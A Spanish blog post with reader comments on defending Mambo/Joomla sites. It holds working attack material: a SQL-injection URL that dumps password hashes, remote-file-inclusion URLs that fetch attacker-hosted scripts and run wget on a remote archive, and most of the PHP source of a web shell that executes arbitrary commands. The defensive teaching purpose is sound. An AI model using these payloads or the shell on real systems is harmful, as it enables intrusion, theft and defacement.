Cómo evitar hackeos en sitios Mambo/Joomla


Por favor no utilices este recurso para hacer daño a quienes trabajan y dedican tiempo y esfuerzo en proyectos o sitios web. Utiliza este material para aprender más sobre seguridad y protegerte.
La mejor forma de evitar hackeos e intrusiones es conociendo cómo actúan los hackers y qué acciones ejecutan para defasar, apropiarse o estropear sitios web ajenos. Voy a distinguir entre dos grupos: hackers – crackers, y pseudo-hackers, lamers y script kiddies

Los primeros son personas que buscan vulnerabilidades para informar y proteger posibles víctimas, o contribuir al arreglo de los bugs / vulnerabilidades de seguridad. Los segundos son los típicos pelotudos con la autoestima muy baja que en muchos casos no saben ni cómo se ejecuta un comando shell pero sin embargo se las ingenian para buscar en foros o sitios de hackers la manera de hacer daño a los demás y estropear el trabajo de otros simplemente para alimentar su triste ego (vean un ejemplo: http://foro.elhacker.net/index.php/topic,75216.0.html). En el caso particular que me toca a mi, el hacker que se introdujo en los sistemas de dos de mis clientes, dejaba mensajes de amor a su novia, para demostrarle a ella cuán valiente es, y de las osadías de que es capaz de hacer. Este tipo de personas, y el daño que me han provocado profesionalmente hace unos días atrás, me lleva a escribir este artículo sobre seguridad para Mambo/Joomla.

10 consejos para evitar la intrusión de hackers en Mambo/Joomla:

  1. Descarga Mambo/Joomla sola y únicamente de los sitios oficiales: www.joomla.org y http://mamboforge.net
  2. No instales componentes o módulos con poca fama, o sin soporte. El core del sistema puede ser impenetrable pero si instalas algún addon vulnerable, vuelves vulnerable todo.
  3. Haz back up periodicamente tanto de la base de datos como de los archivos
  4. Manten actualizado el sistema con la última versión. Al momento de descubrirse una vulnerabilidad es muy corto el tiempo en el cual se desarrolla un parche o arreglo para la misma. Si tienes el sistema actualizado y/o parcheado con los últimos patches disminuyes notablemente la probabilidad de que te hackeen el site.
  5. Utiliza .htaccess para controlar los accesos, y para proteger con contraseña el directorio /administrator/ (HTTP Authentication)
  6. Utiliza servicios online de detección y alertas contra hackers
  7. Investiga y conoce muy bien el funcionamiento de usuarios y permisos en sistemas Unix/Linux. No otorgues permisos innecesarios de escritura a cualquier archivo o directorio. Haz no escribible el archivo configuration.php luego de hacer cambios.
  8. Utiliza componentes SEFs avanzados para enmascarar las verdaderas URLs de Mambo/Joomla
  9. Evita utilizar nombres o contraseñas “fáciles” de adivinar o de vulnerar mediante “fuerza bruta”. Nunca utilices las mismas contraseñas y usuarios para FTP y para las bases de datos (esto último es muy peligroso). Evita utilizar “admin” y “admin” para el ingreso al administrador del sistema.
  10. Contrata hostings profesionales, donde conocen a fondo y dan mucha importancia al tema de la seguridad. La configuración de PHP es vital aquí: Registros globales desactivados, modo seguro, activación de comillas mágicas GPC, ejecución de shell deshabilitado para PHP, etc.
  11. Deshabilita el reporte de errores de PHP, hasta cuando necesites identificar problemas únicamente.

Explotando vulnerabilidades

Las vulnerabilidades son agujeros de seguridad por donde el hacker puede introducirse de alguna manera en el sistema y luego utilizar estas vulnerabilidades mismas para propósitos con malas intenciones. Aquel medio o herramienta que le permite al hacker introducirse clandestinamente en un sitio web o servidor se le llama “EXPLOIT”. Esto puede ir desde sencillas ejecuciones de códigos por URL hasta la programación de complejos scripts en PHP utilizados remotamente para vulnerar sitios Joomla/Mambo

Algunos términos relacionados:

XSS (Cross Site Scripting) – este tipo de vulnerabilidad es consecuencia de errores en el filtrado de las entradas de datos en aplicaciones web.
Remote File Inclusion – Técnica de hackeo avanzado mediante la cual se incluye scripts con código PHP/Perl (sin ejecutar) en servidores remotos (utilizados por los hackers), los cuales ejecutan acciones arbitrarias en el servidor de la víctima.
Backdoor – script programado en PHP/Perl que le permite al hacker (luego de que ha conseguido subirlo al servidor de la víctima), subir nuevos archivos, forzar permisos, recorrer directorios, editar o borrar archivos, ejecutar sentencias shell o sql, etc. Un back-door es una especie de mini “panel de control” de archivos en el servidor (algo muy peligroso).

Vulnerabilidades en el historial de Mambo

Algunos ejemplos de vulnerabilidades en las primeras versiones de Mambo.

Versión Mambo 4.0.14

Problema 1: Se produce un fallo en el sistema al ejecutar http://www.sitiovulnerable.com/mambo/banners.php sin argumentos. Esto le muestra al hacker información vital que deja al descubierto las rutas relativas en el sistema de directorios del servidor, asignado a este usuario:

Warning: mysql_query(): Access denied for user: ‘apache@localhost’ (Using password: NO) in /home/usuariovulnerable/public_html/mambo/banners.php on line 35Warning: mysql_query(): A link to the server could not be established in /home/usuariovulnerable/public_html/mambo/banners.php on line 35

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/usuariovulnerable/public_html/mambo/banners.php on line 35

Fatal error: Call to a member function on a non-object in /home/usuariovulnerable/public_html/mambo/banners.php on line 44

(Actualmente este problema no sucede porque no se puede ingresar directamente a un archivo del sistema. Si se intenta hacer esto se recibirá un error “Direct access to this location is not allowed“)

Muchas personas utilizan el nombre de usuario en su cuenta de hosting idéntico a su contraseña. Con el caso anterior entonces el hacker ya sabe que el nombre de usuario del sistema donde corre el sitio es “usuariovulnerable”. A continuación probará para ver si esta palabra también es su contraseña.

Problema 2: Inyección SQL.

En esta ocasión se muestra cómo se le pasan valores de argumentos a Mysql arbitrariamente desde la URL. Esto ejecuta una consulta SQL que imprimirá los valores de las passwords de los usuarios (encriptado con MD5) en un archivo de textos cualquiera que posea permisos de escritura. (Esto siempre y cuando estén deshabilitadas las comillas mágicas de PHP)

http://www.sitiovulnerable.com/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile ‘/home/usuariovulnerable/public_html/version.txt’

Problema 3: Haciendo Spam utilizando el servidor de email de la víctima. Ejecutando la siguiente url en el sitio con esta vulnerabilidad el hacker envía anónimamente un email desde http://www.sitiovulnerable.com a info@victima-espameada.netEste correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador , por ejemplo.

http://www.sitiovulnerable.com/mambo/contact.php?op=sendmail&text=this%20is%20 spam&from=none&name=Admin&email_to= info@victima-espameada.netEste correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador &sitename=hacker-site.com

¿Cómo hacen los exploiters para encontrar o crear exploits?

Muy sencillo: al ser Mambo/Joomla Opensource, simplemente estudian su código fuente en busca de variables cuyos valores se toman sin validación. También se aprovechan de algunas configuraciones endebles de PHP/Apache en el servidor.

¿Cómo hacen los hackers para buscar sus víctimas?

Buscan en Google. Es más, los hackers avanzados programan los mismos exploits para ejecutar búsquedas automáticas en Google o Yahoo, y encontrar sus víctimas fácilmente.

Un ejemplo: Supongamos que yo deseo encontrar solamente sitios hechos en Mambo o Joomla. ¿Cómo hago para buscar en un buscador?

En primer lugar, yo sé que las URLs de Mambo/Joomla contienen: “index.php?option=com_content“. Lo que hago entonces es irme a Google y buscar solo eso:

http://www.google.com.ar/search?q=index%2Ephp%3Foption%3Dcom%5Fcontent

De esta forma, me aseguro de que los resultados serán exclusivamente de sitios creados con Mambo/Joomla

¿Cómo se averigua fácilmente qué versión de Mambo/Joomla posee un sitio determinado?

Muy sencillo, esto aparece en las etiquetas META-GENERATOR, o también se puede ingresar al login del admin y ver la interfaz y o la versión del sistema que utiliza el sitio. Ejemplo: http://www.sitio.com/administrator/

¿Cómo descubrir un hacker que intenta (o ya logró) penetrar nuestro sistema?

Puesto que las intrusiones por el Método POST (mediante formularios) ya son muy conocidas y más controladas, los hackers prefieren buscar y explotar vulnerabilidades por el método GET (mediante URL). Observando periodicamente los access logs y las estadísticas podemos buscar URLs con código sospechoso.

Si alguien ya logró penetrar tu sistema, puede estar trabajando en un modo silencioso o puede mostrar lo que ha logrado en tu home page, con mensajes como:

Hacked by…

Defaced by…

En el caso de que alguien se haya entrometido en tu sistema y esté trabajando “silenciosamente”, revisa cuidadosamente los archivos y directorios de tu sitio. El hacker puede haberte subido backdoors para operar con ellos. Revisa tu directorio de imágenes, de cache, y en general los directorios con permisos 777. Verás archivos extraños con nombres raros como: dbblogin.php, arjuna.php, back-file.php, y otros…

Algunos ejemplos de intentos de intrusión mediante la inclusión de archivos remotos con código php (lo que se muestra es parte del access log de Apache):

/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1 &GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/pablin77/pa.html

/index.php?_GET=on

166.114.30.40 – – [22/Mar/2005:14:32:08 +0100] “GET /administrator/classes/pcltar.lib.php?g_pcltar_lib_dir=http://www.geocities.co
m/xtremeacidburn/cjarl.txt
?&query=chmod%20777%20s.pl HTTP/1.0″ 200 5 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5
) Gecko/20041107 Firefox/1.0”

GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= http://usuarios.lycos.es/pepebenjabenja/shell.gif?&cmd= cd%20/data/apache/virtual/www.HACKEDSITE.com: 80/cache;rm%20-rf%20 barclays.tgz;wget%20http://www.atempto.com/barclays.tgz;tar%20zxvf%20barclays.tgz

Observa siempre los logs de tu servidor para detectar este tipo de llamada a variables por URL, y también advierte estos sitios donde los hackers suben los scripts que ejecutan las acciones malignas tras ser incluidos en tu propio servidor.

Técnicas avanzadas de Hackeo para sitios Mambo/Joomla

Inclusión remota de archivos, subida de backdoors, y utilización de comandos shell

Ver fundamentos de “remote file inclusion” en: http://foro.elhacker.net/index.php/topic,46179.msg216293.html#msg216293

Ejemplo 1: Vulnerabilidad en Mambo 4.5.1.x

La URL que ejecuta el hacker es la siguiente:

http://www.sitiovictima.com/index.php?_REQUEST%5Boption%5D=com_content&_REQUEST%5BItemid%5D=1 &GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/pablin77/pa.html

Observen cómo se incluye un archivo que se ejecuta en otro servidor como valor de mosConfig_absolute_path

Luego, si entramos en la web del hacker: http://www.freewebs.com/pablin77/pa.html a simple vista solo veremos una pantalla verde con un mensaje, pero si vamos en el navegador a “ver” >> código fuente , observamos lo siguiente:

$fp=fopen(“./configuration.php”,”w+”);fwrite($fp,”


owneD!


By


XTech Inc. 2005


irc.fullnetwork.org #XTech


we are: Status-x
– pablin77 – k3yhol3

\n”);
fclose($fp);
?>

Copia el código fuente de arriba y guardalo como un fichero .html. Luego subilo al servidor y observa cómo se ve, en comparación a su código fuente. Observa la instrucción “dañina”: $fp=fopen(“./configuration.php”,”w+”); fwrite( …

Esto le indica a PHP que abra el archivo configuration.php y que escriba en él el código maligno (que en realidad es un código html que muestra una imagen con un mensaje del hacker)

Ejemplo 2: Vulnerabilidad en Mambo 4.5.1.x

http://www.victima.com/index.php?_REQUEST%5Boption%5D=com_content&_REQUEST%5BItemid%5D=1&GLOBALS=&mosConfig_absolute_path= http://usuarios.lycos.es/pepebenjabenja/shell.gif?&cmd= cd%20/data/apache/virtual/www.HACKEDSITE.com: 80/cache;rm%20-rf%20 barclays.tgz;wget%20http://www.atempto.com/barclays.tgz;tar%20zxvf%20barclays.tgz

Analicemos un poco esto:

  • http://www.victima.com es el sitio web de quien es hackeado
  • /index.php es el archivo que lleva a cabo la ejecución del script
  • _REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path son los parámetros vulnerables y los valores pasados arbitrariamente por URL
  • http://usuarios.lycos.es/pepebenjabenja/shell.gif es el script maligno, que ejecuta comandos shell mediante PHP. Se llama desde el servidor del hacker y se utiliza una extensión como .gif o .txt o cualquier otra que no sea PHP (para que el servidor del hacker no ejecute el código). Este se incluye en un archivo vulnerable del servidor del servidor de la víctima, y luego se ejecuta normalmente como si se tratase de un simple “include”
  • cmd es una variable que representa los comandos que se pasarán por URL al script
  • cd, rm, wget y tar son comandos de Unix/Linux que el hacker utiliza para subir al servidor de la víctima un archivo (barclays.tgz) remotamente tomado desde http://www.atempto.com/ que luego se descomprime con otro comando
  • Código fuente de http://usuarios.lycos.es/pepebenjabenja/shell.gif

    <!–
    Defacing Tool Pro v1.6 by r3v3ng4ns
    Autor: r3v3ng4ns – <!–
    ‘ );
    document.write( addy54926 );
    document.write( ‘<\/a>’ );
    //–>\n Este correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador
    Modifique, copie e distribua mas, por favor, mantenha o nome dos autores originais
    –>
    @closelog();
    @error_reporting(0);
    $vers=”1.6beta”;
    $remote_addr=”http://127.0.0.1/~snagnever/defacement/paginanova/&#8221;;//url
    $format_addr=”.txt”;//formato
    $string_addr=$remote_addr.”pro16″.$format_addr;//cmd
    $safe_addr=$remote_addr.”safe16″.$format_addr;//safemode
    $writer_addr=$remote_addr.”writer16″.$format_addr;//writer
    $phpget_addr=$remote_addr.”get16″.$format_addr;//phpget
    $feditor_addr=$remote_addr.”feditor”.$format_addr;//main feditor
    $put_addr=$remote_addr.”feditor_put”.$format_addr;//file writer
    $total_addr=”http://&#8221;.$_SERVER[‘HTTP_HOST’].$_SERVER[‘PHP_SELF’];
    $chdir=$_GET[‘chdir’];
    if($chdir==””)$chdir=getcwd();
    $cmd=$_GET[‘cmd’];
    $cmd=stripslashes($cmd);
    $ch_msg=””;
    $login=@posix_getuid();
    $euid=@posix_geteuid();
    $gid=@posix_getgid();

    if (strpos($cmd, ‘chdir’)!==false and strpos($cmd, ‘chdir’)==’0′){
    $boom = explode(” “,$cmd,2);
    $boom2 = explode(“;”,$boom[‘1’], 2);
    $diretorio = $boom2[‘0’];

    if($boom[‘1’]==”/”)$chdir=””;
    else if(strpos($cmd, ‘chdir ..’)!==false){
    $cadaDir = array_reverse(explode(“/”,$chdir));
    if($cadaDir[‘0’]==”” or $cadaDir[‘0’] ==” “) $lastDir = $cadaDir[‘1’].”/”;
    else{ $lastDir = $cadaDir[‘0’].”/”; $chdir = $chdir.”/”;}
    $diretorio = str_replace($lastDir,””,$chdir);
    if($diretorio==”/”)$chdir=””;
    }
    if(strrpos($diretorio,”/”)==(strlen($diretorio)-1)) $diretorio=substr($diretorio,0,strrpos($diretorio,”/”));
    if(@opendir($diretorio)!==false) $chdir=$diretorio;
    else if(@opendir($chdir.”/”.$diretorio)!==false) $chdir=$chdir.”/”.$diretorio;
    else $ch_msg=”dtool: line 1: chdir: $diretorio: No such directory or permission denied.\n”;
    if($boom2[‘1’]==null) $cmd = $boom[‘2’]; else $cmd = $boom2[‘1’].$boom2[‘2’];
    }
    $cmdshow=$cmd;
    if($chdir==getcwd() or empty($chdir) or $chdir==””)$showdir=””;else $showdir=”+’chdir=$chdir&'”;

    if (@is_dir(“/usr/X11R6/”)) $pro0=”X11 em /usr/X11R6/, “;
    if (@file_exists(“/usr/X11R6/bin/xterm”)) $pro1=”xterm em /usr/X11R6/bin/xterm, “;
    if (@file_exists(“/usr/bin/nc”)) $pro2=”nc em /usr/bin/nc, “;
    if (@file_exists(“/usr/bin/wget”)) $pro3=”wget em /usr/bin/wget, “;
    if (@file_exists(“/usr/bin/lynx”)) $pro4=”lynx em /usr/bin/lynx, “;
    $ip=@gethostbyname($_SERVER[‘HTTP_HOST’]);
    $pro=$pro0.$pro1.$pro2.$pro3.$pro4;

    if(strpos($cmd, ‘ls –‘) !==false){ $cmd = str_replace(‘ls –‘, ‘ls -F –‘, $cmd);}
    else if(strpos($cmd, ‘ls -‘) !==false){ $cmd = str_replace(‘ls -‘, ‘ls -F’, $cmd);}
    else if(strpos($cmd, ‘;ls’) !==false){ $cmd = str_replace(‘;ls’, ‘;ls -F’, $cmd);}
    else if(strpos($cmd, ‘; ls’) !==false){ $cmd = str_replace(‘; ls’, ‘;ls -F’, $cmd);}
    else if($cmd==’ls’){$cmd = “ls -F”;}
    if(strpos($chdir, ‘//’) !==false) $chdir = str_replace(‘//’, ‘/’, $chdir);
    ?>

    [ Defacing Tool Pro v ] ?

    by r3v3ng4ns – revengans@hotmail.comEste correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador

    $uname = @posix_uname();

    while (list($info, $value) = each ($uname)) { ?>

    :

    user: uid() euid() gid()

    write permission:YES”; }else{ echo ” no”; } ?>

    server info:

    pro info: ip

    original path:

    current path:

    command
    if(isset($chdir)) @chdir($chdir);
    ob_start();
    function safemode($what){echo “It seems that this server is using php in safemode. Try to use DTool in Safemode.”;}
    $funE=”function_exists”;
    if($funE(‘passthru’))$fe=”passthru”;
    elseif($funE(‘system’))$fe=”system”;
    elseif($funE(‘shell_exec’))$fe=”shell_exec”;
    else $fe=”safemode”;
    $fe(“$cmd 2>&1”);
    $output=ob_get_contents();ob_end_clean();
    ?>

    stdOut from $cmdshow\”, using $fe()“;?>

    <br /><?php<br />echo $ch_msg;<br />if (empty($cmd) and $ch_msg==””) echo (“Comandos Exclusivos do DTool Pro\n\nchdir <diretorio>; outros; cmds;\nMuda o diretorio para aquele especificado e permanece nele. Precisa ser o primeiro da linha. ex: chdir /diretorio/sub/;pwd;ls\n\nPHPget, PHPwriter, PHPfilEditor e Resumir\nconsulte http://www.geocities.com/revensite/help.txt&#8221;);<br />if (!empty($output)) echo str_replace(“>”, “>”, str_replace(“<“, “<“, $output));<br />?>

    6 comentarios en “Cómo evitar hackeos en sitios Mambo/Joomla

    1. Excelente informacion, lamentablemente los usuarios no toman previsiones en cuanto a esto y suben cualquier cosa que consigan por alli, colocan permisologias innecesarias entre otras.

      Saludos

    2. pues sinceramete, me parece tonto publicar cosas como estas, dime amigo sin animo de ofender ¿que ganas con esto? no es mejor que publicar como evitar tales cosas, no mostrar como hacerlas, no sabes que hay lammers que toman esto y que con el unico fin de demostrar “que son hacker” hacen daño ….. cada cual con lo suyo, pero por mi parte creo que gente como tu colabora, a que sucedan cosas malas en la red, y se pierdan portales con muy buen contenido, y ni hablar del tiempo que lleva prograr una aplicacion…..

      sin animo de ofederte…te saludos ING. w.h.

    3. Pingback: Anónimo

    Responder

    Introduce tus datos o haz clic en un icono para iniciar sesión:

    Logo de WordPress.com

    Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

    Imagen de Twitter

    Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

    Foto de Facebook

    Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

    Google+ photo

    Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

    Conectando a %s